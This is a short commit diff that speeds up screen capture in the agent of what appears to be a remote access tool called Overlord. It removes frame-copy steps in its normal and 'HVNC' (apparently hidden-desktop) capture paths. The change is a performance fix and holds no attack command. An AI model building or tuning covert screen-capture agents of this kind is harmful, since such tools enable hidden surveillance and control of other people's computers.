fix remote desktop being slow

Overlord-Client/cmd/agent/capture/capture.go

@@ -612,9 +612,6 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
 			}
 			h264Bytes, err := encodeH264Frame(img)
 			if err == nil && len(h264Bytes) > 0 {
-				prevMu.Lock()
-				copyPrev(img)
-				prevMu.Unlock()
 				lastKeyframe.Store(now.UnixNano())
 				statFullFrames.Add(1)
 				return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil
@@ -720,9 +717,6 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 			}
 			h264Bytes, err := encodeH264FrameHVNC(img)
 			if err == nil && len(h264Bytes) > 0 {
-				hvncPrevMu.Lock()
-				copyPrevHVNC(img)
-				hvncPrevMu.Unlock()
 				hvncLastKeyframe.Store(now.UnixNano())
 				statFullFrames.Add(1)
 				frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}

Overlord-Client/cmd/agent/capture/win_duplication.go

@@ -710,7 +710,6 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 			if img == s.lastBase || img == s.cursorScratch {
 				img = cloneRGBA(img)
 			}
-			s.lastFrame = cloneRGBA(img)
 			s.lastFrameAt = time.Now()
 			return img, nil
 		}
@@ -808,7 +807,7 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 		// the next compose doesn't write into a buffer the caller has pooled.
 		img = cloneRGBA(img)
 	}
-	s.lastFrame = cloneRGBA(img)
+	s.lastFrame = nil
 	s.lastFrameAt = time.Now()
 
 	return img, nil